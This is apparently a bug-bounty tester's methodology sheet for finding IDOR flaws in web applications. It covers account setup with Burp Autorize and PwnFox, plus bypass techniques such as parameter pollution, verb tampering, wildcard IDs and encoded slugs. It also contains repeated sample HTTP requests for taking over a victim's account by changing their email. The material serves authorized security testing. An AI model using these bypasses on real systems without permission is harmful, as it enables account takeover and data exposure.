AC
Pointers & Tips
Quick Wins

Step 1: Set Up: Create Multiple Accounts, Acquire UUID & Proxy & Browsing etc

1.1: Create Accounts

Using organization emails e.g. abc+1@wearehackerone.com, abc+2@wearehackerone.com etc., Create multiple accounts on the web application

  • Try to collect each accounts id, uuid etc.
    • Poke around, click on profile icon, modify the profile and intercept the requests etc. to try and weed out this information
    • This can be used later for testing
  • This will allow you to understand how the URL parameters and unique identifiers are being calculated
1.2: Set up Browser

Container extensions on Firefox, e.g. PwnFox

1.3: Sign in with both accounts

Sign in to both accounts using the containers to establish two separate sessions

1.4: Set up Proxy
  • Set up autorize, autorepeater and pwnfox on your chosen proxy. And begin Intercepting traffic through the proxy.
  • You can use http history tabs on the scope to go through all requests made on the target webapp
1.5: Click all Things!

while the proxy intercepts requests in the background, on one of the accounts (the victim account) CLICK & MODIFY EVERYTHING!!! - Pay special attention to functionalities that return user information or modify user data.

  • Go through every bit of functionality within the target application
  1. SHARE,
  2. LIKE, UNLIKE
  3. COMMENT, DELETE COMMENT
  4. UPLOAD CONTENT,
  5. RENAMING CONTENT,
  6. CHANGING CONTENT,
  7. DELETE,
  8. UPLOAD,
  9. PROFILE AVATAR,
  10. DOWNLOAD,
  11. PROFILE UPDATE,
  12. PASSWORD RESET,
  13. BUY THINGS,
  14. EMAILS etc.

Step 2: Study the HTTP Request & Responses

  1. Study the HTTP request to determine which potential bypass technique may be applicable
  2. Make sure to identify Object References and authorization tokens used for access to the object
Step 2.1: HTTP Method Used

Questions to ask:

Is the request performing a READ (GET - info disclosure) action? 
Is the request performing a WRITE (POST, PUT, DELETE - function call) action?
Step 2.2: HTTP Path

Questions to ask:

Is the request being made to an API endpoint?
Is the request being made to a specific file path?
Does the request contain Parameters in the URI?
Step 2.3: Look for Object References

Study HTTP requests to look for Direct Object References in URL parameters, Post-data, APIs, Cookies, headers, Filepaths, etc. (e.g. ?uid=1 or ?filename=file_1.pdf).

  • Pay special attention to functionalities that return user information or modify user data
2.3.1: Object Reference in URL Parameters

examples:
https://example.com/messages?user_id=1234
https://example.com/uploads?file=user1236-01.jpeg
https://example.com/group_files?group=group3

2.3.2: Object Reference in Post-Data

examples:

POST /delete_message
...
message_id=user1236-0111
POST /delete_group
...
group=group3
2.3.3: Object Reference in API Endpoints

With respect to APIs think about CRUD

C.R.U.D
CREATE : POST
READ : GET
UPDATE: PUT
DELETE : DELETE
2.3.4: Object Reference in Cookies
2.3.5: Object Reference in Headers
2.3.6: Object Reference in Filepath
2.3.7: Multi-Use ID
  • Sometimes a request may contain multiple uses of object/ID references in a request
Step 2.4: Identify Authorization Tokens
Step 2.4.1: Header and Token Removal
  1. Discover which headers/tokens are Required in the HTTP Request, for access to the target object
  2. Individually remove non-required Tokens and headers, within URL, Headers, Cookies, Post-data etc.
Step 2.4.2: Study Authorization Token

Questions to ask:

Where is the token? 
	is it in the URL, Header, Cookie, Post-data etc.?
is the token in plaintext?
is the token predictable?
is the token encoded?
is the token hashed?
does the token use custom hashing?
comparing the auth token of user A and user B, do you see a pattern?

Step 3.1 IDOR Protection Bypass Encoding and Hashing
Step 3.1.2 Encoded Authorization Tokens Bypass
Step 3.1.4 Hashed Authorization Tokens Bypass

Step 2.5: Look at HTTP Response Codes and Headers
Step 2.5.1: Note the HTTP response code
Step 2.5.2: Note the HTTP Headers returned by the Server
Step 2.6: Look at HTTP Response Body
Step 2.6.1: New / Hidden Endpoints Introduced

Step 3.16 Hidden Parameters/APIs

Step 2.6.2: New / Hidden Parameters Introduced

Step 3.18 Use (Hidden) Response Parameters
Step 3.16 Hidden Parameters/APIs

Step 2.6.3: New / Hidden JS Files Introduced

Step 3.17 JS Framework Used? Hidden Functions JS function calls

GF idor

Waybackurls

Email & SMS

Next Request

Step 3: IDOR Protection Bypass Techniques

  1. Study the HTTP requests, and endpoints that are being accessed.
  2. Based on step 2, try to determine which bypass techniques are best suited for testing
Step 3.1: IDOR Protection Bypass: Encoding and Hashing

Sometimes you might come across a simple ?id=1 or filename=file_1.pdf, in other instances the Identity may be encoded or hashed. Or, an authorization token may be used that is encoded or hashed

Step 3.1.1: Encoded ID
  • Try to identify the pattern and what system was used to encode the value. Cyberchef is a good tool
  • Decode the value and understand the pattern. E.g. filename=ZmlsZV8xLnBkZg== can be decoded in base64 as filename=file_1.pdf
  • Next, in this case, encode the value file_2.pdf in base64 and then use that as the value for the parameter filename=ZmlsZV8yLnBkZg==
    notice, in this instance there is only a minor difference between the encoded values
  • if file_2.pdf didn't work, try again with file_3.pdf, file_4.pdf etc.
  • you can create a script that will take the pattern: "file_{1..100}.pdf" and encode it in base64, then you can you intruder or other bruteforce methods to see if the new encoded parameter returns a result in which the object is rendered back
Step 3.1.2: Encoded Authorization Tokens Bypass

Sometimes there may be a value in the request that is used to determine the authorization.

  1. Encoded Parameter Values
  2. Encoded Cookies
  3. Encoded Post-data values
  4. Encoded Values in JSON/XML data

In the following scenario the slug parameter (encoded in base64) is used for authorization - the “slug” parameter value was the base64 encoded string of “userID”, i.e., user15, as reflected in the request URL.

Additionally the response displays an extra potential (hidden) parameter email

So, in this case, add the “email” parameter to the request, and replace the “ID” value with the victim’s userID (user18 – dXNlcjE4) along with the encoded “slug” value.

Original Http Request 1:

PUT /api/users/15 HTTP/1.1  
Host: target.com  
…
{  
    “name”:”Test User”,  
    “image”:”IMG URL”,  
    “slug”:”dXNlcjE1″  
}

Original Http Response 1:

HTTP/1.1 200 OK  
Set-Cookie: session=xxxxxxxx; Secure; HttpOnly; 
...
{  
    “userid”:”15″,  
    “name”:”Test User”,  
    “Email”:”test@example.com”,  
    “Role”: “User”,  
    ...
}

Notice the Email Parameter in the response code.

Exploit Request 2: Change Request: Notice the changed api endpoint, slug and email

PUT /api/users/18 HTTP/1.1  
Host: target.com  
…
{  
    "name":"Test",
    "image":"IMG URL"
    “Email”:”attackercontrolledaddress@example.com”, 
    “slug”:”dXNlcjE4″ 
}

Exploit Http Response 2:

HTTP/1.1 200 OK  
Set-Cookie: session=xxxxxxxx; Secure; HttpOnly; 
...
{  
    “userid”:”18″,  
    “name”:”Test User”,  
    “Email”:”attackercontrolledaddress@example.com”,  
    “Role”: “User”  
}
Step 3.1.3: Hashed ID
  • Try to identify the hashing algorithm that was used
    • Webapps may sometimes hash the value on the front-end, so look out for code that may reveal the hashing functions
  • If a standard hash is used, try to decrypt it
  • Try to crack the hash and understand the pattern
  • Enter a new value in accordance with the pattern and then rehash using the same method
  • you can create a script that will take the pattern: "..." and then hash it using the specific hashing algorithm, with any specified salts etc.
Step 3.1.4: Hashed Authorization Tokens Bypass

Sometimes there may be a value in the request that is used to determine the authorization.

  1. Hashed Parameter Values
  2. Hashed Cookies
  3. Hashed Post-data values
  4. Hashed Values in JSON/XML data
    The following example shows base64 encoding, but it could equally be a value determined by a hashing algorithm:

Original Http Request 1:

PUT /api/users/15 HTTP/1.1  
Host: target.com  
…
{  
    “name”:”Test User”,  
    “image”:”IMG URL”,  
    “slug”:”dXNlcjE1″  
}

Original Http Response 1:

HTTP/1.1 200 OK  
Set-Cookie: session=xxxxxxxx; Secure; HttpOnly; 
...
{  
    “userid”:”15″,  
    “name”:”Test User”,  
    “Email”:”test@example.com”,  
    “Role”: “User”,  
    ...
}

Notice the Email Parameter in the response code.

Exploit Request 2: Change Request: Notice the changed api endpoint, slug and email

PUT /api/users/18 HTTP/1.1  
Host: target.com  
…
{  
    "name":"Test",
    "image":"IMG URL"
    “Email”:”attackercontrolledaddress@example.com”, 
    “slug”:”dXNlcjE4″ 
}

Exploit Http Response 2:

HTTP/1.1 200 OK  
Set-Cookie: session=xxxxxxxx; Secure; HttpOnly; 
...
{  
    “userid”:”18″,  
    “name”:”Test User”,  
    “Email”:”attackercontrolledaddress@example.com”,  
    “Role”: “User”  
}
Step 3.2: IDOR Protection Bypass: HTTP Verb Tampering

Sometimes you might not get the response you're looking for after having attempted an IDOR. In such a case try HTTP Verb Tampering techniques

  • Change the HTTP method e.g. from a GET request to HEAD, or POST, or PUT etc.
  • Monitor the response closely, both in the html response as well as the Web Application. Refresh the pages several times and click about if needed.
    For more on Verb Tampering see here: 8. HTTP Verb Tampering

Many times, webapps use cookies to determine authorisation to access objects.
E.g.

GET /api_v1/messages
Host: example.com
Cookies: phpsessid=SESSION_ID

Since cookies of other users are not trivial to obtain, you can try to blindly append user ID parameters/filepaths etc., to the request.

E.g.

GET /api_v1/messages?uid=ANOTHER_USERS_ID
Host: example.com
Cookies: phpsessid=SESSION_ID

Sometimes applications are developed with alternative ways to retrieve resources using object IDs

Note the parameter uid, should be/can be tested with different parameter names, e.g. id=, user_id=, message_id= etc. It's worth studying other, similar requests in the web app to discover what parameter names are more likely to work

Step 3.4: IDOR Protection Bypass: Changing Object Reference File Extension

E.g. If the following type of request doesn't work:
GET /get_receipt?receipt_id=2989
Append the appropriate extension:
GET /get_receipt? receipt_id=2989.json
GET /get_receipt? receipt_id=2989.xml
Etc.

Step 3.5: Path Traversal

Example:

GET /api/v1/users/profile/victim_id HTTP/1.1
Host: example.com
...

Change to:

GET /api/v1/users/profile/my_id/../victim_id HTTP/1.1
Host: example.com
...
Step 3.6: Send wildcard instead of ID

Example:

GET /api/users/111 HTTP/1.1
Host: example.com

Try the Following:

GET /api/users/* HTTP/1.1
GET /api/users/% HTTP/1.1
GET /api/users/_ HTTP/1.1
GET /api/users/. HTTP/1.1
Step 3.7: MFLAC (Missing Function Level Access Control)

Example

GET /admin/profile HTTP/1.1
Host: example.com
...

Change to:

GET /ADMIN/profile HTTP/1.1
Host: example.com
...
Step 3.8: Multi-ID Object Reference

Some http requests may contain an Identity number in multiple areas in the URL or body of the request, if this is the case, attempt to change the ID in all areas in all variations to determine if the web application handles access controls differently on each

Execute every possible combination of the request, by removing and changing the ID parameters (headers, data etc.)

  1. Remove one of the Identifiers
  2. Restore the identifier then remove the other identifier value
  3. Remove Both identifiers
  4. Change the identifiers
Step 3.9: IDOR Protection Bypass: Parameter Pollution

Using parameter pollution, pass two UserID parameters; one containing the Victim’s UserID and the other one includes your account’s UserID.

api.example.com/profile=UserId=123

change to:

api.example.com/profile/UserId=456&UserId=123
or try:
api.example.com/profile/UserId=123&UserId=456

See additional Parameter Pollution techniques here:Reset Token via Email Parameter Pollution

Step 3.10: JSON Parameter Pollution

Example:

POST /api/get_profile HTTP/1.1
Host: example.com
...
{"user_id":"hacker_id","user_id":"victim_id"}
Step 3.11: IDOR Protection Bypass: Verb Tampering & Parameter Pollution Combined

Combine techniques from Verb Tampering and Parameter Pollution

Step 3.12: Wrap the ID with an array

Example

POST /api/get_profile HTTP/1.1
Host: example.com
...
{"user_id":111}

Change to:

POST /api/get_profile HTTP/1.1
Host: example.com
...
{"id":[111]}
Step 3.13: Wrap the ID with a JSON object
POST /api/get_profile HTTP/1.1
Host: example.com
...
{"user_id":111}

Change to:

POST /api/get_profile HTTP/1.1
Host: example.com
...
{"user_id":{"user_id":111}}
Step 3.14: Change request Content-Type

Example:

GET /api/v1/users/1 HTTP/1.1
Host: example.com
Content-type: application/xml

Change to:

GET /api/v1/users/2 HTTP/1.1
Host: example.com
Content-type: application/json
Step 3.15: Test on outdated API Versions

Example

POST /v2/GetData HTTP/1.1
Host: example.com
...
id=123

Change to:

POST /v1/GetData HTTP/1.1
Host: example.com
...
id=123
Step 3.16: Hidden Parameters/APIs

Note: You may also be able to identify unused (hidden) parameters or APIs in the front-end code in the form of JavaScript AJAX calls.

If that is the case, you may be able to craft requests using the hidden parameters to trigger a different response.

Step 3.17: JS Framework Used? Hidden Functions JS function calls

A note on testing: Download JS files

Some web applications developed in JavaScript frameworks may insecurely place function calls on the front-end and use the appropriate ones based on the user role.

pointer: if you look into the front-end JavaScript code you may be able to identify AJAX calls to end-points/APIs that contain direct object references

Example of a basic AJAX function call in JS:

function changeUserPassword() {
    $.ajax({
        url:"change_password.php",
        type: "post",
        dataType: "json",
        data: {uid: user.uid, password: user.password, is_admin: is_admin},
        success:function(result){
            //
        }
    });
}
Step 3.18: Use (Hidden) Response Parameters

In this particular example, the slug parameter (encoded in base64) is used for authorization - this gets changed to reflect another user's slug value.
And the hidden Email parameter is used to modify a user's Email.

Example:
Http Request 1:

PUT /api/users/15 HTTP/1.1  
Host: target.com  
…
{  
    “name”:”Test User”,  
    “image”:”IMG URL”,  
    “slug”:”dXNlcjE1″  
}

Http Response 1:

HTTP/1.1 200 OK  
Set-Cookie: session=xxxxxxxx; Secure; HttpOnly; 
...
{  
    “userid”:”15″,  
    “name”:”Test User”,  
    “Email”:”test@example.com”,  
    “Role”: “User”,  
    ...
}

Notice the Email Parameter in the response code.

Http Request 2: Change Request:

PUT /api/users/18 HTTP/1.1  
Host: target.com  
…
{  
    "name":"Test",
    "image":"IMG URL"
    “Email”:”attackercontrolledaddress@example.com”, 
    “slug”:”dXNlcjE4″ 
}

Http Response 2:

HTTP/1.1 200 OK  
Set-Cookie: session=xxxxxxxx; Secure; HttpOnly; 
...
{  
    “userid”:”18″,  
    “name”:”Test User”,  
    “Email”:”attackercontrolledaddress@example.com”,  
    “Role”: “User”  
}
CHAINING BYPASS TECHNIQUES

Think about scenarios where you can chain bypass techniques
Verb Tampering (GET to POST) -> Post-data Parameter Pollution
Content-type changing -> Wrap ID with Array
Outdated API Version -> Parameter Pollution
Outdated API Version -> Wildcard

Change Value

  • Using a proxy, intercept requests made by User A
  • Start a new session using user B, and note its session cookie
  • In the Proxy, swap out User A's cookie with User B's and see if the request is able to either retrieve or modify objects
Step 4.3: Further Inspection: Changing ID Values, Bypasses and More

Note:
If a simple cookie swap doesn't work inspect the request further and methodically test through each applicable bypass technique Step 3 IDOR Protection Bypass Techniques
Note:
If you only have a single account, then apply single account scenario methods

Step 4.3.1: Verb Tampering (Global)
Step 4.3.2: Appending Parameter ID (Global)
Step 4.3.3: Parameter Pollution (Global)
Step 4.3.4: Bruteforce File Extensions
  1. Create or use a wordlist that contains different filetypes, e.g., .json, .xml, pdf, xlsx, docx etc.
  2. Use intruder or similar to bruteforce using the wordlist
Step 4.3.5: OTHER APPLICABLE BYPASS TECHNIQUES

Based on step 2 and 3, use all other applicable bypass techniques


Single Account Scenarios
Basic ID Value Change (Single Account Scenario)
  1. Change the ID value to that of the victim user
Bruteforcing IDs (Single Account Scenario)
  1. Use intruder or similar to bruteforce ID increment
  2. Use intruder or similar to bruteforce ID decrement
Bruteforcing Encoded IDs (Single Account Scenario)
  1. Create a wordlist containing encoded ID values
  2. Use intruder or similar to bruteforce using the wordlist
Bruteforcing Hashed IDs (Single Account Scenario)
  1. Create a wordlist containing hashed ID values
  2. Use intruder or similar to bruteforce using the wordlist

Step 4: Changing Request Values

Change Value

IDOR Bypasses

IDOR Bypasses

IDOR Notes & Pointers

Note 1: Look in you inbox, sms, etc., for confirmation messages

If you make a purchase from a website, or sign up to a service, they may send a link on which you can view order details, or download an invoice etc.

  • This will often make direct object references
  • So go through the steps to test for IDOR on the links provided
Pointer 2: Weak Cookies for Authorization

Cookies may sometimes be used on web application to determine the logged sessions level of authorization (sometimes on specific objects).

Note: This may fall under a weak session issue, but it can be used in conjunction with IDOR to READ or UPDATE Objects.

  • Identify the type of cookie that is used

  • Narrow down the value that is used for authorization by filtering out unnecessary cookies

  • Is the Token a JWT? https://jwt.io/

    • Perform discovery on the jwt token
  • Is the Cookie value in plaintext?

    • contextualise the cookie value and replace it with a different value, e.g. a role name
  • Is the Cookie value encoded or a hashed value?

    • Try to decode/decrypt the value and then replace it
  • Replace the cookie value and then retry CRUD access on the targeted Object

IDOR Testing Tips

Tip 1: Waybackurls & GF

you can use gf idor option on a list of URL links that have been collected, to quickly search for URLs with
potential IDORs
e.g.

cat subdomains.txt | waybackurls | sort -u >> waybackdata | gf idor | tee -a idorurls.txt
Tip 2: Effective Testing Using Burp

You can use autorize to perform multi-session requests with pwnfox to colour code requests in particular containers

  1. Using a Firefox containers (pwnfox or others), log into 2 separate account sessions
  2. Use User A as the victim account (the account that we perform standard web browsing with)
  3. Set the Autorize scope
    1. Go on Configuration>Interception Filters > Select "Scope items only: (Content is not required)" and click on Add filter (be sure to have a scope set in Target > Scope)
  4. Extract the cookie of User B and enter it into Autorize
    1. copy the cookie of your attacker session and paste the value to the configuration inside the Autorize tab. As of this writing, this should be under a save headers button
  5. Start Autorize: click on Authorize is off to start to turn it on
  6. Next try as many things you can on your victim account
  7. Each request that is sent (User A's requests) is shadowed in Autorize with User B's session cookie
  8. If the responses performed with User B's session cookie matches that of A's when a function is performed, there could be an IDOR
    1. Look for Bypassed (RED) in autorize and begin manual analysis
    2. Think about bypass attempts, HTTP Verb tampering etc.

Effectively, you're testing to see if you can perform any functions on User A's account with User B's cookies

Use Applicable Bypass Techniques

On the request, remove the user's cookie to see if the response still successfully references the Object

Autorize

apply bypasses
Unauthenticated 2
Authenticated 2
Unauthenticated 1
Authenticated 1
apply bypasses